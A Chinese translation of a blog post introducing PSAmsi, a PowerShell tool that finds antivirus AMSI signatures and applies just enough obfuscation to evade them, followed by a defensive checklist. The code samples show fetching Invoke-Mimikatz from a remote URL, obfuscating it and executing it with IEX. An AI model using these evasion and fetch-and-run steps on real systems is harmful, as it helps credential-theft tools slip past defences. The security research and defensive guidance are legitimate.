PSAmsi:四兩撥千斤實現PowerShell代碼混淆隱藏
我最近發布了一款攻擊——PSAmsi,這是一個審計和攻擊AMSI簽名的工具。雖然該項目的既定目標是偽造AMSI簽名,但與此同時真正的動機是繞過混淆檢測。
我們已經有了一個能夠的偽造AMSI簽名的工具,此工具是由Daniel Bohannon基於PowerShell編寫的Invoke-Obfuscation。(我可以肯定的說「 我從來沒有遇見Invoke-Obfuscation 不能偽造AMSI腳本中的簽名的情況,但理論上可能會發生)。
這個問題就變成了當防禦者變得聰明時,所有這些混淆就變成了無稽之談,而不是只匹配簡單的字元串簽名,實現某種模糊檢測。過去我已經寫了一些關於模糊檢測的內容,Daniel和Lee Holmes 從那時起就進行了一些更徹底的研究。
混淆檢測的基本前提是經過重度混淆的腳本立即被人眼識別為不尋常的腳本。例如,使用Invoke-Obfuscation可能會導致以下輸出:
PS > $ExampleScript = {n function Write-Num {n Param ([Int] $Num)n Write-Host $Numn } Write-Num 3n}nPS > Invoke-Obfuscation -ScriptBlock $ExampleScript -Command "TokenALL1" -Quietn nfunction wrITE`-`NUM {n Param ([Int] ${N`Um})n .("{0}{2}{1}"-fWr,t,ite-Hos) ${n`UM}n} .("{1}{0}{2}"-f u,Write-N,m) 3n
任何看到輸出結果的腳本的人都會馬上意識到這裡看起來有些不對勁,這似乎被混淆了。Revoke-Obfuscation自動將給定的PowerShell腳本與PowerShell腳本的常見特徵進行比較以確定它是否被混淆。
另外,在Windows 10(v1709)的最新版本中,Windows Defender漏洞檢測防護工具引入了一些有趣的攻擊面縮減規則,其中包括叫做使用AMSI 阻止模糊腳本的規則。這有可能將混淆檢測從使用撤銷 – 混淆處理的執行後檢測提升到實際執行預防的層面。
如果我們不需要隱藏腳本代碼,為什麼我們會使用如此「重」的混淆方式呢?混淆可能有很多目標,但是如果我們唯一的目標是混淆一系列簽名,那麼為什麼要混淆除了這組簽名之外的任何內容,為維護者提供了另一個潛在的惡意活動指標?我們可以通過足夠的混淆程度來最小化我們的混淆需求,而不會觸發任何簽名檢測。
為了僅在一組簽名上進行混淆,我們首先需要知道這些簽名是什麼。這就是PSAmsi的切入點。它會自動化的在特定的惡意腳本中發現AMSI簽名的過程(並隨後對其進行混淆)。要理解PSAmsi如何做到這一點,我們首先需要對AMSI究竟是什麼以及它是如何工作的有一個了解。
AMSI簡介
概述
AMSI(反惡意軟體掃描介面)被設計為允許應用程序利用他們的反惡意軟體提供商(fka AntiVirus)在運行時掃描內部內容的一種手段,而傳統的文件掃描反惡意軟體產品從來不可能完全掃描腳本內部的內容。這允許應用程序選擇需要掃描的內容,並對結果做出反應。應用程序本身比第三方反惡意軟體產品更需要了解掃描的細節。此外,AMSI還充當了請求應用程序與AntiMalware Provider無關的AntiMalware Provider之間的中間人,並且允許應用程序請求內容掃描,而無需知道AntiMalware產品將執行的掃描。下面的圖表(由微軟提供)為我們提供了一個關於微軟如何展開這項工作的一個高層次的觀點:
如上圖所示,已經有一些應用程序開始利用AMSI,即:PowerShell,JScript和VBScript。
PowerShell是一個很好的例子,它利用AMSI為反惡意軟體提供商提供了比沒有AMSI時更大的覆蓋範圍。PowerShell在執行時通過AMSI提交Scriptlocks,這樣做有助於解密幾種混淆形式,從而使反惡意軟體提供程序能夠獲得它所不具備的反混淆能力。
但是,AMSI有可能做得事情更多。微軟AMSI文檔中提到的一個想法是,它最終可能用於域和IP地址的信譽檢查。想像一下,如果瀏覽器應用程序在向請求的站點發送任何HTTP請求之前,是否利用AMSI向反惡意軟體提供程序查詢IP信譽和域分類?像這樣的想法可能會改變反惡意軟體提供商的遊戲規則,並有助於減少所有AV產品所做的針對沒有用的掃描文件的散列匹配。
使用AMSI
從應用的角度來看,利用AMSI需要調用一系列Win32 API函數:AmsiInitalize,AmsiOpenSession,AmsiScanString,AmsiScanBuffer,AmsiCloseSession,和AmsiUninitialize。這些函數都是在amsi.dll中定義的。在宏觀角度來說,看起來像這樣:
但是,具體實施中還有一些細節。有一個amsiContext和一個session的概念。amsiContext是對提交的內容進行掃描的應用程序(即PowerShell)的引用,session是對相關內容掃描流的引用。應用程序可以維護一個或多個會話,以便在多個掃描中關聯內容。例如,PowerShell可以在一個會話中掃描每個ScriptBlock給定的PowerShell腳本,而在另一個PowerShell腳本中為每個ScriptBlock使用另一個會話。這使AntiMalware Provider能夠通過session掃描關聯的數據。
對於考慮將AMSI應用到其應用程序中的開發人員來說,下圖可能是一個有用的參考:
在上圖所示的背後,amsi.dll調用了AntiMalware Provider。不幸的是,關於這個過程是如何工作的(當然我是知道的)沒有很多公開的文檔。
對於請求應用程序,AMSI提供了一個獨特的時機來掃描選定的內容,並以任何想要的方式對AntiMalware Provider的響應作出反應。對於大多數應用程序,這可能意味著會被停止執行並被檢測為惡意的內容。例如,PowerShell將停止執行包含含有惡意內容的ScriptBlock的PowerShell腳本。
但是,PSAmsi的反應AMSI_RESULT稍有不同,正如你將在下面的「 查找AMSI簽名」部分中看到的那樣。
進行AMSI掃描
如果給定的內容是惡意的話,那麼任何應用程序都可以詢問反惡意軟體提供商,這就是PSAmsi所提供的功能。它按照預期使用介面。
PSAmsi創建了一個之前提到的必要的Win32 API函數的內存模塊PSReflect,並公開了它命名一個PowerShell類PSAmsiScanner。這個類允許我們輕鬆地進行AMSI掃描來檢查任意字元串或緩衝區中的惡意內容:
PS > $Scanner = [PSAmsiScanner]::new()nPS > $Scanner.GetPSAmsiScanResult(test)nFalsenPS > $MaliciousUrl = https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1n# GetPSAmsiScanResult accepts strings, ScriptBlocks, file paths, or URIs:nPS > $Scanner.GetPSAmsiScanResult([Uri]::new($MaliciousUrl))nTruen# There are also PowerShell cmdlets that wrap the PSAmsiScanner class:nPS > Get-PSAmsiScanResult -ScriptString testnFalsenPS > $Scanner = New-PSAmsiScannernPS > Get-PSAmsiScanResult -ScriptUri $MaliciousUrl -PSAmsiScanner $ScannernTruenPS > $Scanner.AlertCountn1n
這個PSAmsiScanner只是一個在PowerShell中進行AMSI掃描的方便機制,在PSAmsi之外可能有更多的防禦性用例。
尋找AMSI簽名
一旦我們了解了AMSI的所有功能只是在應用程序給定的內容塊是惡意的時候,告訴任何一個程序。實際的簽名過程只是一個簡單的搜索演算法。
PSAmsi利用PowerShell內置的功能強大的AbstractSyntaxTree(「AST」)來識別腳本中代碼最小的邏輯塊,這些代碼被AntiMalware提供商識別為惡意代碼。
當然,我們只需要不斷掃描腳本的一小部分,直到我們確定被檢測為惡意的最小的一塊。AST只是幫助我們加快了這個過程,讓我們找到最小的邏輯代碼片段。
例如,我們先來看看我們的示例腳本,它對應於AST:
假設我們已經安裝了一個AntiMalware Provider,它檢測到字元串「Write-Host $ Num」是惡意的。如果我們用這個AST掃描這個AST的每個節點PSAmsiScanner,我們可能會得到這樣的結果:
你可以看到一個被檢測節點的子樹形成了主樹,我將其稱為「檢測樹」。我們檢測樹的所有葉子節點(可能有多個)就是我們產生的簽名。
PSAmsi的Find-AmsiSignatures功能為我們自動化了這個發現過程:
PS > $Signatures = Find-AmsiSignatures -ScriptUri $MaliciousUrlnPS > $Signaturesn nStartOffset SignatureType SignatureContentn----------- ------------- ----------------n 37213 CommandAst Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtectn 39331 CommandAst Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemoryn 58744 CommandExpressionAst $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $Argum...n 2494 ParamBlockAst Param(...n 27 PSToken <#...n
最大限度地減少混淆,最大限度地隱藏
隨著我們對AntiMalware Provider搜索的確切的AMSI簽名的知識的學習和了解,我們實際上需要做的混淆的數量將大大減少。讓我們來看看我們剛剛找到的那些簽名Find-AmsiSignatures中的一個:
PS > $Signatures[0]nAdd-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect`nPS > Get-PSAmsiScanResult $Signatures[0]nTruenInvoke-Obfuscation提供了一個技巧,我們可以使用混淆變數的技巧是簡單地將變數名稱包裝在大括弧中:nPS > $ObfuscationTest = Add-Member NoteProperty -Name VirtualProtect -Value ${VirtualProtect}nPS > Get-PSAmsiScanResult $ObfuscationTestnFalsen
我們繞過了AMSI簽名!並且只是添加兩個字元!
PSAmsi的Get-MinimallyObfuscated函數將Find-AmsiSignatures函數發現的每個簽名的最小混淆處理過程自動化,使我們能夠成功混淆和執行任何惡意腳本:
PS > $ObfMimikatz = Get-MinimallyObfuscated -ScriptUri $MaliciousUrlnPS > $ObfMimikatz | IEX; Invoke-Mimikatz -Command Coffeen n .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14n .## ^ ##. "A La Vie, A LAmour"n ## / ## /* * *n ## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )n ## v ## http://blog.gentilkiwi.com/mimikatz (oe.eo)n ##### with 20 modules * * */nERROR mimikatz_initOrClean ; CoInitializeEx: 80010106n nmimikatz(powershell) # Coffeen n ( (n ) )n .______.n | |]n /n `----n
這種最小化的混淆形式是非常難以發現的:
PS > Measure-RvoObfuscation -ScriptExpression $ObfMimikatzn nHash Obfuscated Sourcen---- ---------- ------nBB06698FAFC19A076041D2510897EBB88F8E2F430A2AEDFB010611BBD82DC392A2 False <Direct>n
現在我們使用混淆來繞過所有的AMSI簽名,並且避免引入新的混淆來幫助防禦者識別到我們前面提到的惡意PowerShell代碼。我們實現了最大限度地減少混淆,最大限度地隱身。
防禦
我已經盡了最大的努力,使得這一系列可行的步驟能夠讓防禦者可以採取保護免受任何 PowerShell的威脅,包括由PSAmsi產生的有效載荷。幾乎所有的這些防禦思想都在其他地方進行了詳細的討論,但是我會儘力在這裡總結一下。
首先,對防禦者來說的一個好消息是,PSAmsi 在搜索AMSI簽名時會產生大量的AV警報。但是,如果攻擊者正確使用了PSAmsi,他們將不會在任何系統上執行它,而只會執行由PSAmsi 生成的有效載荷。
當我說PSAmsi最大限度地減少混淆以最大限度地隱身時,我的意思是說,它最大限度地提高了PowerShell有效載荷的隱身性。幸運的是,防禦者有很多選擇可以檢測和保護自己免受PowerShell威脅。
以下是一個組織可以採取防禦措施的列表,以抵禦PowerShell威脅,包括使用PSAmsi生成的有效負載。這些是按照建議的實施順序(大致)列出的:
1. 部署PowerShell v5(並刪除PowerShell v2) – 如果你仍然部署了安裝了PowerShell v2的系統,則這是第一步。在沒有PowerShell v5的情況下,防禦者對在其環境中執行的PowerShell腳本的可見性為零。攻擊者不需要混淆他們的有效載荷就可以逃脫檢測,更不用說將混淆最小化。
2. 啟用PowerShell ScriptBlock日誌 – 即使在確保AMSI支持之前,防禦者應確保他們已經在其端點上啟用了ScriptBlock日誌記錄。AMSI只會幫助保護Windows 10和Server 2016計算機,而ScriptBlock日誌記錄可以幫助防禦者在安裝PowerShell的任何位置獲得可見性。不僅應該啟用ScriptBlock日誌記錄,還應集中收集並監視ScriptBlock日誌以查找威脅。
3. 支持AMSI的AntiMalware Provider – Windows 10和Server 2016中的默認Windows Defender安裝自帶AMSI支持,默認情況下已啟用!使用不同的反惡意軟體提供程序?確保他們為AMSI提供支持並且已啟用。這種保護只適用於Windows 10和Server 2016機器,並嘗試將儘可能多的伺服器/工作站升級到最新的Windows 10和Server 2016版本。
4. 混淆檢測 – 實現某種形式的混淆檢測。這可以通過收集日誌並使用Revoke-Obfuscation或其他產品或使用阻止混淆內容的AMSI AntiMalware Provider(例如ASR添加到Windows Defender)進行分析來完成。
5. 改進的AMSI簽名 – 為了實現最小化的混淆,需要改進的AMSI簽名。AMSI僅為反惡意軟體提供商提供簽名的基礎結構。在一天的掃描結束時,檢測依賴於一組簽名。不幸的是,大多數防禦者無法控制由他們的反惡意軟體提供商實施的簽名。使用PSAmsi審核你的AMSI簽名,並向你的供應商施加壓力以提高其簽名的安全性。
6. 通過檢測來預防威脅 – 最後,認識到AMSI是預防這個方向邁出的一大步,但作為一個檢測已知「壞」的平台,但並不全是壞的。預防和AMSI永遠不可能完全值得依靠,防禦者者應該思考如何預防。應該收集PowerShell日誌,命令行日誌和其他事件日誌,並不斷監視威脅。
7. 約束語言模式 – PowerShell的約束語言模式(CLM)可與Application WhiteListing(AWL)解決方案一起部署,作為防止惡意PowerShell威脅的更強大手段。這涉及將黑名單特定簽名和黑名單內容混淆的思維轉換,以及假定所有內容都是惡意的,白名單上批准的腳本和可執行內容。CLM只允許PowerShell功能的一個子集,主要是Microsoft簽名的cmdlet,並且限制了攻擊者可以完成的任務,即使是管理訪問也是如此。AWL可能難以正確實現,應該首先在審計(或非阻塞)模式下進行測試,並逐漸引入到環境中。
8. 只需足夠的管理 – 可以部署足夠的管理(「JEA」),以限制PowerShell代碼甚至可以比限制語言模式更進一步執行。JEA允許防禦者在「無語言模式」下部署PowerShell,這意味著除了使用JEA指定的白名單功能之外,不能執行任何 PowerShell代碼。例如,也許一個DNS管理員需要運行Restart-Service -Name DNS。隨著JEA管理員可以限制為只對Restart-Servicecmdlet,並僅在DNS參數的-Name參數。這使得防禦者對允許在給定系統上運行的PowerShell代碼有非常細緻的控制。
正如你在上面看到的,有很多可以防止PowerShell威脅的方法。作為防禦者執行上面列出的每個步驟,PSAmsi會變得越來越無效。
作為防禦者,一旦你通過第6步 – 檢測預防,你將能夠開始檢測由PSAmsi產生的有效載荷。從本質上講,PSAmsi打開了步驟4 – 模糊檢測到步驟6的入口。一旦做到步驟6到7和8,PSAmsi生成的有效載荷將完全無法成功運行。
參考
以下是我可能會或可能不會在本文前面提到的有用的參考:
· AMSI MSDN Reference
· ASR Rules
· PowerShell – The Blue Team
· Revoke-Obfuscation Whitepaper
· PowerShell Logging
本文翻譯自:https://cobbr.io/PSAmsi-Minimizing-Obfuscation-To-Maximize-Stealth.html ,如若轉載,請註明原文地址: http://www.4hou.com/penetration/8915.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※Google:微軟優先給Windows 10修漏洞,讓舊版本系統用戶陷入危險之中
※Atom也爆遠程代碼執行漏洞?就問你怕不怕!
※Popcorn Time(爆米花時刻):第一個不收贖金的勒索軟體
※C/S架構下密碼加密的作用?
TAG:信息安全 |